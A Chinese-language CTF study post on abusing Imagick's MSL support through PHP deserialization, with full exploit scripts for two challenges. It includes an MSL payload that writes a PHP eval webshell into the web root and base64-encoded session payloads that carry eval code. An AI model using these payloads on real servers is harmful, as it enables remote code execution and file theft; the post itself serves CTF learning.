Imagick触发msl
2023-06-27 16:43:33

https://zhuanlan.zhihu.com/p/93401495
安装参考
https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
参考文章

介绍

image.png
image.png
这玩意可以对外进行访问

配合msl脚本语言可以读取内外文件,并且写入指定位置
image.png
image.png
但是msl脚本得在本地
经常配合php_session_upload_progress上传临时文件使用

一些用法,还支持php协议
image.png

RCE1 看看就行

使用以下构造可能导致工作进程在web服务器上崩溃

new Imagick("text:fd:30")

image.png
而在web服务崩溃时,会在/tmp目录下生成php开头,后7位为[A-Za-z0-9]的文件
/tmp/phpXXXXXXX
在这种情况下我们可以进行条件竞争,使用bp大量发送上传了msl脚本的请求image.png
再通过bp的intruder进行文件包含爆破
image.png此时就会调用msl脚本对远程文件发送请求,并将数据写回到本地

RCE2 高级版本,学这个!!

使用vid去触发msl脚本,可以使用通配符
image.png
vid:msl:/tmp/php* 直接执行上传缓存文件
配合caption:info:后接数据进行写入指定文件,比如说一句话木马写到web目录

<?xml version="1.0" encoding="UTF-8"?>
<image>
 <read filename="caption:<?php @eval(@$_REQUEST['a']); ?>" />
 <write filename="info:/var/www/swarm.php" />
</image>

样题 ciscn2022 backdoor

我真的不想搭linux的环境,这题大概看看脚本,理一下思路就行

<?php
error_reporting(E_ERROR);
class backdoor {
    public $path = null;
    public $argv = null;
    public $class = "stdclass";
    public $do_exec_func = true;
    
    public function __sleep() {
        if (file_exists($this->path)) {
            return include $this->path;
        } else {
            throw new Exception("__sleep failed...");
        }
    }

    public function __wakeup() {
            if (
                $this->do_exec_func && 
                in_array($this->class, get_defined_functions()["internal"])
            ) {
                    call_user_func($this->class);
            } else {
                $argv = $this->argv;
                $class = $this->class;
                
                new $class($argv);
            }
    }
}


$cmd = $_REQUEST['cmd'];
$data = $_REQUEST['data'];

switch ($cmd) {
    case 'unserialze':
        unserialize($data);
        break;
    
    case 'rm':
        system("rm -rf /tmp");
        break;
    
    default:
        highlight_file(__FILE__);
        break;
}

有提供的exp,我们来分析一下

#!/usr/bin/python3
#coding:utf-8

import re
import sys
import time
import requests

timeout = 30

host = sys.argv[1]
port = sys.argv[2]

url = f"http://{host}:{port}"
write_session_payload = "O%3A8%3A%22backdoor%22%3A3%3A%7Bs%3A14%3A%22%00backdoor%00argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A15%3A%22%00backdoor%00class%22%3Bs%3A7%3A%22imagick%22%3Bs%3A12%3A%22do_exec_func%22%3Bb%3A0%3B%7D"
session_sleep_chain_payload = "O%3A8%3A%22backdoor%22%3A2%3A%7Bs%3A5%3A%22class%22%3Bs%3A13%3A%22session_start%22%3Bs%3A12%3A%22do_exec_func%22%3Bb%3A1%3B%7D"

def rm_tmp_file():
    headers = {"Accept": "*/*"}
    requests.get(
        f"{url}/?cmd=rm",
        headers=headers
    )

def upload_session():
    headers = {
        "Accept": "*/*",
        "Content-Type": "multipart/form-data; boundary=------------------------c32aaddf3d8fd979"
    }
    data = "--------------------------c32aaddf3d8fd979\r\nContent-Disposition: form-data; name=\"swarm\"; filename=\"swarm.msl\"\r\nContent-Type: application/octet-stream\r\n\r\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<image>\r\n <read filename=\"inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADw/cGhwIGV2YWwoJF9HRVRbMV0pOz8+fE86ODoiYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czoxNDoiL3RtcC9zZXNzX2Fma2wiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30=\" />\r\n <write filename=\"/tmp/sess_afkl\" />\r\n</image>\r\n--------------------------c32aaddf3d8fd979--"
    try:
        requests.post(
            f"{url}/?data=O%3A8%3A%22backdoor%22%3A3%3A%7Bs%3A14%3A%22%00backdoor%00argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A15%3A%22%00backdoor%00class%22%3Bs%3A7%3A%22imagick%22%3Bs%3A12%3A%22do_exec_func%22%3Bb%3A0%3B%7D&cmd=unserialze",
            headers=headers, data=data
        )
    except requests.exceptions.ConnectionError:
        pass

def get_flag():
    cookies = {"PHPSESSID": "afkl"}
    headers = {"Accept": "*/*"}
    response = requests.get(
        f"{url}/?data=O%3A8%3A%22backdoor%22%3A2%3A%7Bs%3A5%3A%22class%22%3Bs%3A13%3A%22session_start%22%3Bs%3A12%3A%22do_exec_func%22%3Bb%3A1%3B%7D&cmd=unserialze&1=system('/readflag');", 
        headers=headers, cookies=cookies
    )
    return re.findall(r"(flag\{.*\})", response.text)

# 主逻辑
if __name__ == '__main__':
    rm_tmp_file()
    upload_session()

    time.sleep(1)

    print(get_flag()[0])

rm_tmp_file删除了tmp目录下的文件,防止影响判断
使用call_user_func触发session_start(),携带phpsessid,保存缓存数据,后面session反序列化要用
在upload session路由,使用反序列化触发 new imagick(vid:msl:/tmp/php*),执行上传的msl脚本
msl脚本内容如下

<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<image>\r\n <read filename=\"inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADw/cGhwIGV2YWwoJF9HRVRbMV0pOz8+fE86ODoiYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czoxNDoiL3RtcC9zZXNzX2Fma2wiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30=\" />\r\n <write filename=\"/tmp/sess_afkl\" />\r\n</image>

里面的base64是利用ppm图像文件格式的特点,在末尾插入序列化数据而不影响图片正常解析生成的
m1师傅博客偷的脚本改改

<?php
class backdoor
{
    public $path = null;
    public $argv = null;
    public $class = "stdclass";
    public $do_exec_func = true;
}

$fumo = new backdoor();
$fumo->path = "/tmp/sess_afkl";
$serialized = "|" . serialize($fumo);
#前面可以加一句话木马,这题就是这样加的

echo base64_encode("P6\n9 9\n255\n" . str_repeat("A", 9 * 9 * 3 - strlen($serialized)) . $serialized);

会将base64解密后的内容写入/tmp/sess_afkl,其中就包含一句话木马,以及session反序列化所需的数据
最后再携带者phpsessionid=afkl,并且用call_user_func开启session_start,访问即可触发sleep,包含/tmp/sess_afkl文件,其中存在一句话木马,执行命令

样题 SCTF fumo_backdoor

和上面一个出题人,不过这里用的是readfile,没法包含木马,flag在/flag

<?php
error_reporting(0);
ini_set('open_basedir', __DIR__.":/tmp");
define("FUNC_LIST", get_defined_functions());

class fumo_backdoor {
    public $path = null;
    public $argv = null;
    public $func = null;
    public $class = null;
    
    public function __sleep() {
        if (
            file_exists($this->path) && 
            preg_match_all('/[flag]/m', $this->path) === 0
        ) {
            readfile($this->path);
        }
    }

    public function __wakeup() {
        $func = $this->func;
        if (
            is_string($func) && 
            in_array($func, FUNC_LIST["internal"])
        ) {
            call_user_func($func);
        } else {
            $argv = $this->argv;
            $class = $this->class;
            
            new $class($argv);
        }
    }
}

$cmd = $_REQUEST['cmd'];
$data = $_REQUEST['data'];

switch ($cmd) {
    case 'unserialze':
        unserialize($data);
        break;
    
    case 'rm':
        system("rm -rf /tmp 2>/dev/null");
        break;
    
    default:
        highlight_file(__FILE__);
        break;
}

这题很搞,我自己用bp上传失败了很多次,还是用脚本吧

import requests,base64,time
SERVER_ADDR="http://182.92.6.230:18080/"


def del_tem():  #删除tmp目录下所有的缓存文件
    resp = requests.post(SERVER_ADDR,data={"cmd":"rm"})
    print(resp.status_code)


def write_file(xml:str):
    unserialize_str=base64.b64decode("TzoxMzoiZnVtb19iYWNrZG9vciI6NDp7czo0OiJwYXRoIjtOO3M6NDoiYXJndiI7YToxOntpOjA7czoxNzoidmlkOm1zbDovdG1wL3BocCoiO31zOjQ6ImZ1bmMiO047czo1OiJjbGFzcyI7czo3OiJJbWFnaWNrIjt9")
    resp= requests.post(SERVER_ADDR,files={"file":("exec1.msl",xml)},data={"cmd":"unserialze","data":unserialize_str})
    print(resp.status_code)

def start_session(): #开启session_start(),这样就会生成phpsessid缓存文件,就能触发php的session反序列化
    resp=requests.get(SERVER_ADDR+"?cmd=unserialze&data=O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A14%3A%22vid%3Amsl%3A%2Ftmp%2Fa%22%3Bs%3A4%3A%22func%22%3Bs%3A13%3A%22session_start%22%3Bs%3A5%3A%22class%22%3Bs%3A7%3A%22Imagick%22%3B%7D")


def get_flag_session_unserialze(): #指定sessionid,session反序列化触发sleep函数,读取/tmp/Aecous文件,获得flag
    resp=requests.get(SERVER_ADDR+"?cmd=unserialze&data=O%3A13%3A%22fumo_backdoor%22%3A2%3A%7Bs%3A4%3A%22path%22%3Bs%3A8%3A%22%2Ftmp%2Fyyz%22%3Bs%3A4%3A%22func%22%3Bs%3A13%3A%22session_start%22%3B%7D",
                      cookies={"PHPSESSID":"Aecous"})
    print(resp.text)


del_tem()
time.sleep(2)

start_session()
time.sleep(2)

del_tem()
time.sleep(2)

# xml=f"""<?xml version="1.0" encoding="UTF-8"?>
# <image>
#  <read filename="mvg:/flag" />
#  <write filename="mvg:/tmp/yyz" />
# </image>"""
#
# xml2=f"""<?xml version="1.0" encoding="UTF-8"?>
# <image>
#  <read filename="inline:data:text/8BIM;base64,eXl6fE86MTM6ImZ1bW9fYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czo4OiIvdG1wL3l5eiI7czo0OiJmdW5jIjtzOjEzOiJzZXNzaW9uX3N0YXJ0Ijt9" />
#  <write filename="/tmp/sess_{session_id}" />
# </image>"""

xml=f"""<?xml version="1.0" encoding="UTF-8"?>
<image>
 <read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF8TzoxMzoiZnVtb19iYWNrZG9vciI6NDp7czo0OiJwYXRoIjtzOjExOiIvdG1wL0FlY291cyI7czo0OiJhcmd2IjtOO3M6NDoiZnVuYyI7TjtzOjU6ImNsYXNzIjtOO30=" /> 
 <write filename="/tmp/sess_Aecous" />
</image>"""

xml2=f"""<?xml version="1.0" encoding="UTF-8"?>
<image>
 <read filename="mvg:/flag" />
 <write filename="/tmp/Aecous" />
</image>
"""
#上传msl脚本,导致web服务崩溃并且生成php缓存文件,一般为phpXXXXXX,配合Imagick(vid:msl:/tmp/php*)执行msl脚本,将session反序列化所需的数据写入/tmp/sess_指定id,
write_file(xml)
time.sleep(3)

#上传msl脚本,配合Imagick(vid:msl:/tmp/php*)执行msl脚本,将flag移到指定位置
write_file(xml2)
time.sleep(3)

get_flag_session_unserialze()

结合wm的脚本改的,和上一题思路基本一样,看看注释就行

msl脚本标签

读取

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="mvg:/flag" />
<write filename="mvg:/tmp/yyz" />
</image>

mvg:对文件头似乎没有强制要求,可以用来移动指定的文件
还可以用uyvy

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="uyvy:/flag"/>
<write filename="/tmp/2333hhhh"/>
</image>

数据转换写入

<?xml version="1.0" encoding="UTF-8"?>
<image>
 <read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF8TzoxMzoiZnVtb19iYWNrZG9vciI6NDp7czo0OiJwYXRoIjtzOjExOiIvdG1wL0FlY291cyI7czo0OiJhcmd2IjtOO3M6NDoiZnVuYyI7TjtzOjU6ImNsYXNzIjtOO30=" /> 
 <write filename="/tmp/sess_Aecous" />
</image>

inline:data://image/x-portable-anymap;base64,
这里是将上面的base64解密后写入/tmp/sess文件的一种方法
利用 ppm 图像文件格式的特点,可在末尾插入序列化数据而不影响图片的正常解析: (m1师傅博客里的)

<?php
class fumo_backdoor
{
    public $path = null;
    public $argv = null;
    public $func = null;
    public $class = null;
}

$fumo = new fumo_backdoor();
$fumo->path = "/tmp/sess_id";  //将flag移到的位置
$serialized = "|" . serialize($fumo);

echo base64_encode("P6\n9 9\n255\n" . str_repeat("A", 9 * 9 * 3 - strlen($serialized)) . $serialized);  //ppm图片生成,并且包含序列化数据

还可以用 inline:data:text/8BIM;base64,这个玩意直接就可以进行数据解密+传输,不需要符合图片标准

<?xml version="1.0" encoding="UTF-8"?>
<image>
  <read filename="inline:data:text/8BIM;base64,eXl6fE86MTM6ImZ1bW9fYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czo4OiIvdG1wL3l5eiI7czo0OiJmdW5jIjtzOjEzOiJzZXNzaW9uX3N0YXJ0Ijt9" />
  <write filename="8BIM:/tmp/sess_{session_id}" />
</image>

image.png

Prev
2023-06-27 16:43:33
Next